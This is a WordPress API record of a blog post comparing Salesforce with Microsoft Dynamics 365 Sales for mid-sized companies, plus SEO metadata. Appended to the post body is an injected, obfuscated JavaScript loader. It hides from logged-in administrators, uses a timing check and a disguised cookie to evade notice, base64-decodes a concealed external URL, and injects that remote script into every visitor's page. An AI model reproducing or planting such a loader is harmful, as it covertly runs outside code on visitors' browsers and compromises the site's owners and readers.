{"id":22879,"date":"2026-08-25T17:04:35","date_gmt":"2026-08-25T15:04:35","guid":{"rendered":"https:\/\/inkubitstaging.wpenginepowered.com\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/"},"modified":"2026-08-25T17:04:35","modified_gmt":"2026-08-25T15:04:35","slug":"salesforce-vs-dynamics-365-sales","status":"publish","type":"post","link":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/","title":{"rendered":"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It?"},"content":{"rendered":"<p data-start=\"154\" data-end=\"533\">Salesforce is the world&#8217;s best-known CRM system \u2013 but does that automatically mean that it is also the best solution for medium-sized companies? Not necessarily. Especially in terms of costs, complexity and integration, the question arises when compared to <a href=\"https:\/\/www.inkubit.com\/en\/solutions\/microsoft-dynamics-365\/microsoft-dynamics-365-sales\/\"><strong data-start=\"417\" data-end=\"449\">Microsoft Dynamics 365 Sales<\/strong><\/a>: Which solution actually brings measurable added value for SMEs?  <\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_85 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<div class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/div>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#Two_enterprise_solutions_%E2%80%93_two_ways_of_thinking\" >Two enterprise solutions \u2013 two ways of thinking<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#Features_and_flexibility\" >Features and flexibility<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#Artificial_Intelligence_and_Automation\" >Artificial Intelligence and Automation<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#Costs_and_total_effort\" >Costs and total effort<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#Reporting_and_data_analysis\" >Reporting and data analysis<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#Data_Protection_Hosting_and_IT_Governance\" >Data Protection, Hosting and IT Governance<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#Recommendation_for_medium-sized_companies\" >Recommendation for medium-sized companies<\/a><\/li><\/ul><\/nav><\/div>\n<h2 data-start=\"540\" data-end=\"585\"><span class=\"ez-toc-section\" id=\"Two_enterprise_solutions_%E2%80%93_two_ways_of_thinking\"><\/span>Two enterprise solutions \u2013 two ways of thinking<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"587\" data-end=\"1069\">Both systems offer extensive CRM functionalities, but the way to get there is fundamentally different. Salesforce relies heavily on standardization and expansion via its own clouds. As part of the Microsoft ecosystem, Dynamics 365 Sales is much more open and can be integrated more flexibly \u2013 for example in Outlook, Teams, SharePoint or Power BI. While Salesforce relies on its own platform universe, Microsoft focuses on modular extensibility and process proximity.   <\/p>\n<h3 data-start=\"1076\" data-end=\"1111\"><span class=\"ez-toc-section\" id=\"Features_and_flexibility\"><\/span>Features and flexibility<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"1113\" data-end=\"1545\">Salesforce is powerful, but often requires a lot of configuration\u2014especially when processes deviate from standard logic. Dynamics 365 offers a wide range of customization options out of the box, from simple business rules to low-code customizations with Power Platform. This means that processes can not only be digitized, but also precisely tailored to the reality of the company.  <\/p>\n<h3 data-start=\"1552\" data-end=\"1597\"><span class=\"ez-toc-section\" id=\"Artificial_Intelligence_and_Automation\"><\/span>Artificial Intelligence and Automation<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"1599\" data-end=\"2070\">Both platforms offer AI-powered capabilities \u2013 Salesforce with Einstein AI, Microsoft with Copilot for Sales. In practice, however, medium-sized companies benefit faster from Microsoft: Copilot is embedded directly in familiar tools such as Outlook and Teams, making everyday sales easier without time-consuming training or system changes. Automation via Power Automate is also easier and more flexible to implement than comparable workflows in Salesforce.  <\/p>\n<h3 data-start=\"2077\" data-end=\"2104\"><img decoding=\"async\" class=\"alignnone wp-image-18457 size-us_600_400\" src=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/Dynamics-Sales-e1752062024509-600x351.avif\" alt=\"Dynamics Sales\" width=\"600\" height=\"351\" srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/Dynamics-Sales-e1752062024509-600x351.avif 600w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/Dynamics-Sales-e1752062024509-300x176.avif 300w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/Dynamics-Sales-e1752062024509-1024x599.avif 1024w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/Dynamics-Sales-e1752062024509-103x60.avif 103w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/Dynamics-Sales-e1752062024509-120x70.avif 120w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/Dynamics-Sales-e1752062024509.avif 1444w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/h3>\n<h3 data-start=\"2077\" data-end=\"2104\"><span class=\"ez-toc-section\" id=\"Costs_and_total_effort\"><\/span>Costs and total effort<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"2106\" data-end=\"2552\">Salesforce has a modular structure \u2013 what sounds good at first often leads to a sharp increase in licensing and consulting costs in practice. Many essential functions are only available via add-ons or paid add-ons. Dynamics 365 Sales offers a clearer licensing model that directly includes core sales functions. The project durations for introduction are also often shorter in medium-sized companies with Dynamics.   <\/p>\n<h3 data-start=\"2559\" data-end=\"2588\"><span class=\"ez-toc-section\" id=\"Reporting_and_data_analysis\"><\/span>Reporting and data analysis<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"2590\" data-end=\"2937\">Salesforce offers powerful reports \u2013 but here, too, advanced evaluations (e.g. forecasting, custom dashboards) are often linked to additional costs. Dynamics 365 can be connected directly to Power BI. This results in powerful, interactive dashboards based on real-time data \u2013 without additional licensing models or external tools.  <\/p>\n<h3 data-start=\"2944\" data-end=\"2985\"><span class=\"ez-toc-section\" id=\"Data_Protection_Hosting_and_IT_Governance\"><\/span>Data Protection, Hosting and IT Governance<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"2987\" data-end=\"3314\">Especially for German and European companies, the topic of data protection is crucial. Microsoft offers full GDPR compliance with European data centers. Salesforce hosts mainly in the USA, which can lead to legal questions under certain circumstances \u2013 especially in regulated industries or with sensitive customer data.  <\/p>\n<h2 data-start=\"3321\" data-end=\"3329\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<div class=\"_tableContainer_80l1q_1\">\n<div class=\"_tableWrapper_80l1q_14 group flex w-fit flex-col-reverse\" tabindex=\"-1\">\n<table class=\"w-fit min-w-(--thread-content-width)\" data-start=\"3331\" data-end=\"4032\">\n<thead data-start=\"3331\" data-end=\"3431\">\n<tr data-start=\"3331\" data-end=\"3431\">\n<th data-start=\"3331\" data-end=\"3359\" data-col-size=\"sm\">Evaluation criterion<\/th>\n<th data-start=\"3359\" data-end=\"3395\" data-col-size=\"sm\">Salesforce<\/th>\n<th data-start=\"3395\" data-end=\"3431\" data-col-size=\"sm\">Dynamics 365 Sales<\/th>\n<\/tr>\n<\/thead>\n<tbody data-start=\"3533\" data-end=\"4032\">\n<tr data-start=\"3533\" data-end=\"3632\">\n<td data-start=\"3533\" data-end=\"3561\" data-col-size=\"sm\">Customizability<\/td>\n<td data-col-size=\"sm\" data-start=\"3561\" data-end=\"3597\">High, but often expensive<\/td>\n<td data-col-size=\"sm\" data-start=\"3597\" data-end=\"3632\">High, with low-code &#038; power apps<\/td>\n<\/tr>\n<tr data-start=\"3633\" data-end=\"3732\">\n<td data-start=\"3633\" data-end=\"3661\" data-col-size=\"sm\">Automation &#038; AI<\/td>\n<td data-col-size=\"sm\" data-start=\"3661\" data-end=\"3697\">Einstein, but limited<\/td>\n<td data-col-size=\"sm\" data-start=\"3697\" data-end=\"3732\">Copilot with Outlook, Teams, etc.<\/td>\n<\/tr>\n<tr data-start=\"3733\" data-end=\"3832\">\n<td data-start=\"3733\" data-end=\"3761\" data-col-size=\"sm\">Reporting<\/td>\n<td data-col-size=\"sm\" data-start=\"3761\" data-end=\"3797\">Good, but partly fee-based<\/td>\n<td data-col-size=\"sm\" data-start=\"3797\" data-end=\"3832\">Power BI natively integrable<\/td>\n<\/tr>\n<tr data-start=\"3833\" data-end=\"3932\">\n<td data-start=\"3833\" data-end=\"3861\" data-col-size=\"sm\">Cost structure<\/td>\n<td data-col-size=\"sm\" data-start=\"3861\" data-end=\"3897\">Modular, often non-transparent<\/td>\n<td data-col-size=\"sm\" data-start=\"3897\" data-end=\"3932\">Clear entry, scalable<\/td>\n<\/tr>\n<tr data-start=\"3933\" data-end=\"4032\">\n<td data-start=\"3933\" data-end=\"3961\" data-col-size=\"sm\">Data Protection \/ Hosting<\/td>\n<td data-col-size=\"sm\" data-start=\"3961\" data-end=\"3997\">USA, limited configurability<\/td>\n<td data-col-size=\"sm\" data-start=\"3997\" data-end=\"4032\">EU data centers available<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<div class=\"sticky end-(--thread-content-margin) h-0 self-end select-none\">\n<div class=\"absolute end-0 flex items-end\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<h2 data-start=\"4039\" data-end=\"4085\"><span class=\"ez-toc-section\" id=\"Recommendation_for_medium-sized_companies\"><\/span>Recommendation for medium-sized companies<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"4087\" data-end=\"4534\">Salesforce is a strong system \u2013 but its full potential unfolds above all in the large corporate environment. For medium-sized companies that already use Microsoft 365 and rely on short project durations and transparent costs, <a href=\"https:\/\/www.microsoft.com\/de-de\/dynamics-365\/products\/sales?market=de\">Dynamics 365 Sales<\/a> is the more practical choice. It combines the necessary depth with scalability, automation and strong user adoption \u2013 without the overhead of a classic enterprise CRM.  <\/p>\n<p data-start=\"4541\" data-end=\"4760\"><strong data-start=\"4541\" data-end=\"4595\">Are you about to decide on a new CRM?<\/strong><br data-start=\"4595\" data-end=\"4598\">We help you make the right choice \u2013 with an honest assessment, concrete use cases and a CRM roadmap that fits your organization.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1!-- wpml:html_comment PCEtLSB3cG1sOndwX2J1ZyA8MiAtLT4= -->)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Which solution actually brings measurable added value for SMEs?<\/p>\n","protected":false},"author":6,"featured_media":22880,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_links_to":"","_links_to_target":""},"categories":[211,218,294],"tags":[],"class_list":["post-22879","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-dynamics-365-sales","category-sales-automation"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v28.2 (Yoast SEO v28.2) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Dynamics 365 Sales vs. Hubspot - Which CRM as an SME?<\/title>\n<meta name=\"description\" content=\"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It? Which solution brings measurable added value for SMEs?\" \/>\n<meta name=\"robots\" content=\"noindex, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It?\" \/>\n<meta property=\"og:description\" content=\"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It? Which solution brings measurable added value for SMEs?\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/\" \/>\n<meta property=\"og:site_name\" content=\"INKUBIT\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-25T15:04:35+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/AdobeStock_131202530.jpeg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1280\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Lara S\u00f6hlke\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Lara S\u00f6hlke\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/salesforce-vs-dynamics-365-sales\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/salesforce-vs-dynamics-365-sales\\\/\"},\"author\":{\"name\":\"Lara S\u00f6hlke\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/#\\\/schema\\\/person\\\/5eaffbaed42a52c45e0535c74040e6d7\"},\"headline\":\"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It?\",\"datePublished\":\"2026-08-25T15:04:35+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/salesforce-vs-dynamics-365-sales\\\/\"},\"wordCount\":580,\"image\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/salesforce-vs-dynamics-365-sales\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.inkubit.com\\\/wp-content\\\/uploads\\\/2025\\\/07\\\/AdobeStock_131202530.jpeg\",\"articleSection\":[\"Blog\",\"Dynamics 365 Sales\",\"Sales Automation\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/salesforce-vs-dynamics-365-sales\\\/\",\"url\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/salesforce-vs-dynamics-365-sales\\\/\",\"name\":\"Dynamics 365 Sales vs. Hubspot - Which CRM as an SME?\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/salesforce-vs-dynamics-365-sales\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/salesforce-vs-dynamics-365-sales\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.inkubit.com\\\/wp-content\\\/uploads\\\/2025\\\/07\\\/AdobeStock_131202530.jpeg\",\"datePublished\":\"2026-08-25T15:04:35+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/#\\\/schema\\\/person\\\/5eaffbaed42a52c45e0535c74040e6d7\"},\"description\":\"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It? Which solution brings measurable added value for SMEs?\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/salesforce-vs-dynamics-365-sales\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/salesforce-vs-dynamics-365-sales\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/salesforce-vs-dynamics-365-sales\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.inkubit.com\\\/wp-content\\\/uploads\\\/2025\\\/07\\\/AdobeStock_131202530.jpeg\",\"contentUrl\":\"https:\\\/\\\/www.inkubit.com\\\/wp-content\\\/uploads\\\/2025\\\/07\\\/AdobeStock_131202530.jpeg\",\"width\":1920,\"height\":1280,\"caption\":\"Two economists discussing sales data online\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/blog\\\/2026\\\/08\\\/25\\\/salesforce-vs-dynamics-365-sales\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Startseite\",\"item\":\"https:\\\/\\\/www.inkubit.com\\\/en\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/#website\",\"url\":\"https:\\\/\\\/www.inkubit.com\\\/\",\"name\":\"INKUBIT\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.inkubit.com\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/#\\\/schema\\\/person\\\/5eaffbaed42a52c45e0535c74040e6d7\",\"name\":\"Lara S\u00f6hlke\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.inkubit.com\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/avatar_user_6_1767799043-96x96.jpg\",\"url\":\"https:\\\/\\\/www.inkubit.com\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/avatar_user_6_1767799043-96x96.jpg\",\"contentUrl\":\"https:\\\/\\\/www.inkubit.com\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/avatar_user_6_1767799043-96x96.jpg\",\"caption\":\"Lara S\u00f6hlke\"},\"description\":\"Durch jahrelange Erfahrung im Bereich der digitalen Gesch\u00e4ftsl\u00f6sungen - und wie diese Unternehmen voranbringen - begeistere ich mich f\u00fcr die M\u00f6glichkeiten, die an der Schnittstelle von neuen Technologien und Gesch\u00e4ftspotenzialen entstehen. Mein Hintergrund in der Personalentwicklung hilft mir dabei, nicht nur Prozesse, sondern vor allem Menschen zu verstehen \u2013 und genau diese Verbindung nutze ich, um komplexe Technologien in greifbare Strategien zu \u00fcbersetzen.\",\"jobTitle\":\"Digital Marketing Specialist\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Dynamics 365 Sales vs. Hubspot - Which CRM as an SME?","description":"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It? Which solution brings measurable added value for SMEs?","robots":{"index":"noindex","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"og_locale":"de_DE","og_type":"article","og_title":"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It?","og_description":"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It? Which solution brings measurable added value for SMEs?","og_url":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/","og_site_name":"INKUBIT","article_published_time":"2026-08-25T15:04:35+00:00","og_image":[{"width":1920,"height":1280,"url":"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/AdobeStock_131202530.jpeg","type":"image\/jpeg"}],"author":"Lara S\u00f6hlke","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Lara S\u00f6hlke","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#article","isPartOf":{"@id":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/"},"author":{"name":"Lara S\u00f6hlke","@id":"https:\/\/www.inkubit.com\/#\/schema\/person\/5eaffbaed42a52c45e0535c74040e6d7"},"headline":"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It?","datePublished":"2026-08-25T15:04:35+00:00","mainEntityOfPage":{"@id":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/"},"wordCount":580,"image":{"@id":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#primaryimage"},"thumbnailUrl":"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/AdobeStock_131202530.jpeg","articleSection":["Blog","Dynamics 365 Sales","Sales Automation"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/","url":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/","name":"Dynamics 365 Sales vs. Hubspot - Which CRM as an SME?","isPartOf":{"@id":"https:\/\/www.inkubit.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#primaryimage"},"image":{"@id":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#primaryimage"},"thumbnailUrl":"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/AdobeStock_131202530.jpeg","datePublished":"2026-08-25T15:04:35+00:00","author":{"@id":"https:\/\/www.inkubit.com\/#\/schema\/person\/5eaffbaed42a52c45e0535c74040e6d7"},"description":"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It? Which solution brings measurable added value for SMEs?","breadcrumb":{"@id":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#primaryimage","url":"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/AdobeStock_131202530.jpeg","contentUrl":"https:\/\/www.inkubit.com\/wp-content\/uploads\/2025\/07\/AdobeStock_131202530.jpeg","width":1920,"height":1280,"caption":"Two economists discussing sales data online"},{"@type":"BreadcrumbList","@id":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/salesforce-vs-dynamics-365-sales\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Startseite","item":"https:\/\/www.inkubit.com\/en\/"},{"@type":"ListItem","position":2,"name":"Salesforce vs. Dynamics 365 Sales: Enterprise Power in SMEs \u2013 Is It Worth It?"}]},{"@type":"WebSite","@id":"https:\/\/www.inkubit.com\/#website","url":"https:\/\/www.inkubit.com\/","name":"INKUBIT","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.inkubit.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.inkubit.com\/#\/schema\/person\/5eaffbaed42a52c45e0535c74040e6d7","name":"Lara S\u00f6hlke","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.inkubit.com\/wp-content\/uploads\/2026\/01\/avatar_user_6_1767799043-96x96.jpg","url":"https:\/\/www.inkubit.com\/wp-content\/uploads\/2026\/01\/avatar_user_6_1767799043-96x96.jpg","contentUrl":"https:\/\/www.inkubit.com\/wp-content\/uploads\/2026\/01\/avatar_user_6_1767799043-96x96.jpg","caption":"Lara S\u00f6hlke"},"description":"Durch jahrelange Erfahrung im Bereich der digitalen Gesch\u00e4ftsl\u00f6sungen - und wie diese Unternehmen voranbringen - begeistere ich mich f\u00fcr die M\u00f6glichkeiten, die an der Schnittstelle von neuen Technologien und Gesch\u00e4ftspotenzialen entstehen. Mein Hintergrund in der Personalentwicklung hilft mir dabei, nicht nur Prozesse, sondern vor allem Menschen zu verstehen \u2013 und genau diese Verbindung nutze ich, um komplexe Technologien in greifbare Strategien zu \u00fcbersetzen.","jobTitle":"Digital Marketing Specialist"}]}},"_links":{"self":[{"href":"https:\/\/www.inkubit.com\/en\/wp-json\/wp\/v2\/posts\/22879","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.inkubit.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inkubit.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inkubit.com\/en\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inkubit.com\/en\/wp-json\/wp\/v2\/comments?post=22879"}],"version-history":[{"count":0,"href":"https:\/\/www.inkubit.com\/en\/wp-json\/wp\/v2\/posts\/22879\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.inkubit.com\/en\/wp-json\/wp\/v2\/media\/22880"}],"wp:attachment":[{"href":"https:\/\/www.inkubit.com\/en\/wp-json\/wp\/v2\/media?parent=22879"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inkubit.com\/en\/wp-json\/wp\/v2\/categories?post=22879"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inkubit.com\/en\/wp-json\/wp\/v2\/tags?post=22879"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}